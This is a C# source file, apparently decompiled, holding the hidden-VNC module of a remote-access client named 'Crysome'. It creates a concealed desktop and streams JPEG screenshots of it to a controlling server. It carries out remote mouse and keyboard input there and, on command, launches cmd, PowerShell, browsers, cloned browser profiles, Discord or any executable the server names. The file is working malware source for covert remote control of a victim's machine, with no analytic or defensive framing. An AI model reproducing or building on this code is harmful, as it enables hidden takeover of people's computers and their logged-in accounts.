350 lines
7.5 KiB
C#
350 lines
7.5 KiB
C#
using System;
|
|
using System.Collections.Concurrent;
|
|
using System.Diagnostics;
|
|
using System.Drawing;
|
|
using System.Drawing.Imaging;
|
|
using System.IO;
|
|
using System.Threading;
|
|
using Crysome.Client.Hvnc;
|
|
using Crysome.Common.Network;
|
|
using Crysome.Common.Network.Packets;
|
|
using Crysome.Common.Network.Packets.Server;
|
|
|
|
namespace Crysome.Client.Handlers;
|
|
|
|
public static class HvncHandlers
|
|
{
|
|
private const string DesktopName = "CrysomeHvncDesktop";
|
|
|
|
private static volatile bool _running;
|
|
|
|
private static Thread _captureThread;
|
|
|
|
private static Thread _sendThread;
|
|
|
|
private static CrysomeClient _client;
|
|
|
|
private static HvncImagingHandler _imaging;
|
|
|
|
private static HvncInputHandler _input;
|
|
|
|
private static HvncProcessHandler _process;
|
|
|
|
private static int _quality;
|
|
|
|
private static int _intervalMs;
|
|
|
|
private static readonly object _lock;
|
|
|
|
private static readonly BlockingCollection<Action> _hvncInputQueue;
|
|
|
|
private static readonly Thread _hvncInputPump;
|
|
|
|
private static volatile byte[] _pendingFrame;
|
|
|
|
private static readonly SemaphoreSlim _frameSem;
|
|
|
|
static HvncHandlers()
|
|
{
|
|
_quality = 80;
|
|
_intervalMs = 50;
|
|
_lock = new object();
|
|
_hvncInputQueue = new BlockingCollection<Action>();
|
|
_frameSem = new SemaphoreSlim(0, 1);
|
|
_hvncInputPump = new Thread((ThreadStart)delegate
|
|
{
|
|
foreach (Action item in _hvncInputQueue.GetConsumingEnumerable())
|
|
{
|
|
try
|
|
{
|
|
item?.Invoke();
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Program.Log("HVNC input: " + ex.Message);
|
|
}
|
|
}
|
|
})
|
|
{
|
|
IsBackground = true,
|
|
Name = "HvncInputPump"
|
|
};
|
|
_hvncInputPump.Start();
|
|
}
|
|
|
|
public static void HandleStartHvnc(CrysomeClient client, IPacket packet)
|
|
{
|
|
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_0007: Expected O, but got Unknown
|
|
StartHvncPacket val = (StartHvncPacket)packet;
|
|
lock (_lock)
|
|
{
|
|
if (!_running)
|
|
{
|
|
_quality = Math.Max(10, Math.Min(100, val.Quality));
|
|
_intervalMs = Math.Max(33, Math.Min(500, val.IntervalMs));
|
|
_client = client;
|
|
try
|
|
{
|
|
_imaging = new HvncImagingHandler("CrysomeHvncDesktop");
|
|
_input = new HvncInputHandler("CrysomeHvncDesktop");
|
|
_process = new HvncProcessHandler("CrysomeHvncDesktop");
|
|
_process.StartExplorer();
|
|
Thread.Sleep(500);
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Program.Log("HVNC init: " + ex.Message);
|
|
DisposeHandlers();
|
|
return;
|
|
}
|
|
_running = true;
|
|
_pendingFrame = null;
|
|
_sendThread = new Thread(SendLoop)
|
|
{
|
|
IsBackground = true,
|
|
Name = "HvncSend"
|
|
};
|
|
_sendThread.Start();
|
|
_captureThread = new Thread(CaptureLoop)
|
|
{
|
|
IsBackground = true,
|
|
Name = "HvncCapture"
|
|
};
|
|
_captureThread.Start();
|
|
}
|
|
}
|
|
}
|
|
|
|
public static void HandleStopHvnc(CrysomeClient client, IPacket packet)
|
|
{
|
|
lock (_lock)
|
|
{
|
|
_running = false;
|
|
try
|
|
{
|
|
_frameSem.Release();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
_captureThread?.Join(3000);
|
|
_sendThread?.Join(2000);
|
|
DisposeHandlers();
|
|
}
|
|
}
|
|
|
|
public static void HandleHvncRunRequest(CrysomeClient client, IPacket packet)
|
|
{
|
|
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_0007: Expected O, but got Unknown
|
|
HvncRunRequestPacket val = (HvncRunRequestPacket)packet;
|
|
if (!_running || _process == null)
|
|
{
|
|
return;
|
|
}
|
|
try
|
|
{
|
|
switch (val.Action)
|
|
{
|
|
case 0:
|
|
_process.StartExplorer();
|
|
break;
|
|
case 1:
|
|
_process.StartRunDialog();
|
|
break;
|
|
case 2:
|
|
_process.StartCmd();
|
|
break;
|
|
case 3:
|
|
_process.StartPowerShell();
|
|
break;
|
|
case 4:
|
|
_process.StartChrome();
|
|
break;
|
|
case 5:
|
|
_process.StartEdge();
|
|
break;
|
|
case 6:
|
|
_process.StartFirefox();
|
|
break;
|
|
case 7:
|
|
_process.StartOpera();
|
|
break;
|
|
case 8:
|
|
_process.StartOperaGX();
|
|
break;
|
|
case 9:
|
|
_process.StartBrave();
|
|
break;
|
|
case 17:
|
|
_process.StartNotepad();
|
|
break;
|
|
case 18:
|
|
_process.StartCalculator();
|
|
break;
|
|
case 11:
|
|
case 12:
|
|
case 13:
|
|
case 14:
|
|
case 15:
|
|
case 16:
|
|
_process.HandleCloneRequest(val.Action);
|
|
break;
|
|
case 19:
|
|
_process.StartDiscord();
|
|
break;
|
|
case 10:
|
|
if (!string.IsNullOrEmpty(val.Path))
|
|
{
|
|
_process.CreateProc(val.Path);
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Program.Log("HVNC run: " + ex.Message);
|
|
}
|
|
}
|
|
|
|
public static void HandleHvncInput(CrysomeClient client, IPacket packet)
|
|
{
|
|
//IL_0007: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_000d: Expected O, but got Unknown
|
|
HvncInputPacket val = (HvncInputPacket)packet;
|
|
if (_running && _input != null)
|
|
{
|
|
uint msg = (uint)val.Msg;
|
|
IntPtr wParam = new IntPtr(val.WParam);
|
|
IntPtr lParam = new IntPtr(val.LParam);
|
|
_hvncInputQueue.Add(delegate
|
|
{
|
|
_input.Input(msg, wParam, lParam);
|
|
});
|
|
}
|
|
}
|
|
|
|
private static void DisposeHandlers()
|
|
{
|
|
try
|
|
{
|
|
_imaging?.Dispose();
|
|
_imaging = null;
|
|
_input?.Dispose();
|
|
_input = null;
|
|
_process = null;
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private static void SendLoop()
|
|
{
|
|
while (_running)
|
|
{
|
|
try
|
|
{
|
|
_frameSem.Wait(100);
|
|
if (!_running)
|
|
{
|
|
break;
|
|
}
|
|
byte[] array = Interlocked.Exchange(ref _pendingFrame, null);
|
|
if (array != null && array.Length != 0)
|
|
{
|
|
if (!_client.IsConnected)
|
|
{
|
|
break;
|
|
}
|
|
_client.SendHvncFrame(array);
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Program.Log("HVNC send: " + ex.Message);
|
|
if (!_running)
|
|
{
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
private static void CaptureLoop()
|
|
{
|
|
ImageCodecInfo jpegCodec = GetJpegCodec();
|
|
Stopwatch stopwatch = Stopwatch.StartNew();
|
|
while (_running && _client != null && _imaging != null)
|
|
{
|
|
long elapsedMilliseconds = stopwatch.ElapsedMilliseconds;
|
|
try
|
|
{
|
|
if (!_client.IsConnected)
|
|
{
|
|
break;
|
|
}
|
|
using Bitmap bitmap = _imaging.Screenshot();
|
|
if (bitmap != null)
|
|
{
|
|
byte[] array = EncodeJpeg(bitmap, jpegCodec);
|
|
if (array != null && array.Length != 0)
|
|
{
|
|
Interlocked.Exchange(ref _pendingFrame, array);
|
|
try
|
|
{
|
|
_frameSem.Release();
|
|
}
|
|
catch (SemaphoreFullException)
|
|
{
|
|
}
|
|
}
|
|
}
|
|
}
|
|
catch (Exception ex2)
|
|
{
|
|
Program.Log("HVNC capture: " + ex2.Message);
|
|
}
|
|
long num = stopwatch.ElapsedMilliseconds - elapsedMilliseconds;
|
|
int num2 = Math.Max(0, _intervalMs - (int)num);
|
|
if (num2 > 0)
|
|
{
|
|
Thread.Sleep(num2);
|
|
}
|
|
}
|
|
}
|
|
|
|
private static ImageCodecInfo GetJpegCodec()
|
|
{
|
|
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
|
foreach (ImageCodecInfo imageCodecInfo in imageEncoders)
|
|
{
|
|
if (imageCodecInfo.FormatID == ImageFormat.Jpeg.Guid)
|
|
{
|
|
return imageCodecInfo;
|
|
}
|
|
}
|
|
return null;
|
|
}
|
|
|
|
private static byte[] EncodeJpeg(Bitmap bmp, ImageCodecInfo codec)
|
|
{
|
|
if (codec == null)
|
|
{
|
|
using (MemoryStream memoryStream = new MemoryStream())
|
|
{
|
|
bmp.Save(memoryStream, ImageFormat.Jpeg);
|
|
return memoryStream.ToArray();
|
|
}
|
|
}
|
|
using MemoryStream memoryStream2 = new MemoryStream();
|
|
using (EncoderParameters encoderParameters = new EncoderParameters(1))
|
|
{
|
|
encoderParameters.Param[0] = new EncoderParameter(Encoder.Quality, _quality);
|
|
bmp.Save(memoryStream2, codec, encoderParameters);
|
|
}
|
|
return memoryStream2.ToArray();
|
|
}
|
|
}
|